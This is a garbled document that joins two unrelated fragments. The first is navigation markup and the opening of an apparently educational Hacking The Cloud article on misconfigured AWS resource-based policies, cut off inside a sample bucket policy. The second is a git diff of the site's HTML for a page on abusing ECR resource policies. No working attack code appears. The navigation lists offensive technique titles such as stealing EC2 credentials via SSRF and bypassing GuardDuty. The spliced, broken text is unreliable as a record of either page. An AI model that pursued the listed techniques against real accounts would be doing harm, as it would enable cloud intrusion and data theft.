class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link md-nav__link--active" for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#the-principal-and-risks class=md-nav__link> <span class=md-ellipsis> The “*” Principal and Risks </span> </a> </li> <li class=md-nav__item> <a href=#more-than-just-s3-buckets class=md-nav__link> <span class=md-ellipsis> More Than Just S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=#dumping-and-analyzing-resource-based-policies-at-scale class=md-nav__link> <span class=md-ellipsis> Dumping and analyzing resource-based policies at scale </span> </a> </li> <li class=md-nav__item> <a href=#resource-based-policy-evaluation-logic class=md-nav__link> <span class=md-ellipsis> Resource-Based Policy Evaluation Logic </span> </a> </li> <li class=md-nav__item> <a href=#not-policy-elements class=md-nav__link> <span class=md-ellipsis> “Not” Policy Elements </span> </a> <nav class=md-nav aria-label="“Not” Policy Elements"> <ul class=md-nav__list> <li class=md-nav__item> <a href=#notprincipal class=md-nav__link> <span class=md-ellipsis> NotPrincipal </span> </a> </li> <li class=md-nav__item> <a href=#notaction class=md-nav__link> <span class=md-ellipsis> NotAction </span> </a> </li> <li class=md-nav__item> <a href=#notresource class=md-nav__link> <span class=md-ellipsis> NotResource </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/exploitation/Misconfigured_Resource-Based_Policies/index.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Misconfigured Resource-Based Policies</h1> <p>Resource-based policies are an often overlooked part of AWS security that can have significant implications. A <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_identity-vs-resource.html>resource-based policy</a> is a type of policy that is <strong>attached directly to an AWS resource that describes what actions can be performed on it and by whom</strong>. </p> <p>For example, the following is a <a href=https://docs.aws.amazon.com/AmazonS3/latest/userguide/example-bucket-policies.html>bucket policy</a> (a type of resource-based policy) that would permit the <code>tester</code> user to list the contents of the <code>super-public-fun-bucket</code> S3 bucket.</p> <div class=highlight><pre><span></span><code><span class=p>{</span>
 <span class=w>    </span><span class=nt>&quot;Version&quot;</span><span class=p>:</span><span class=w> </span><span class=s2>&quot;2012-10-17&quot;</span><span class=p>,</span>
 <span class=w>    </span><span class=nt>&quot;Statement&quot;</span><span class=p>:</span><span class=w> </span><span class=p>[</span>
 <span class=w>        </span><span class=p>{</span>
diff --git a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
index dcb9b54dd..c7819461d 100644
--- a/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
+++ b/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured AWS ECR private repositories."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ rel=canonical><link href=../exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ rel=prev><link href=../misconfigured_iam_role_trust_policy_wildcard_principal/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Abusing Misconfigured ECR Resource Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Misconfigured ECR Resource Policies - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured AWS ECR private repositories."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Misconfigured ECR Resource Policies - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured AWS ECR private repositories."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="How to take advantage of misconfigured AWS ECR private repositories."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ rel=canonical><link href=../exploting_public_resources_attack_playbook/ rel=prev><link href=../misconfigured_iam_role_trust_policy_wildcard_principal/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../../feed_rss_updated.xml><link rel=icon href=../../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Abusing Misconfigured ECR Resource Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../../stylesheets/extra.css><script>__md_scope=new URL("../../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Abusing Misconfigured ECR Resource Policies - Hacking The Cloud"><meta property=og:description content="How to take advantage of misconfigured AWS ECR private repositories."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Abusing Misconfigured ECR Resource Policies - Hacking The Cloud"><meta property=twitter:description content="How to take advantage of misconfigured AWS ECR private repositories."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy.png> <link href="../../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#understanding-ecrgetauthorizationtoken class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 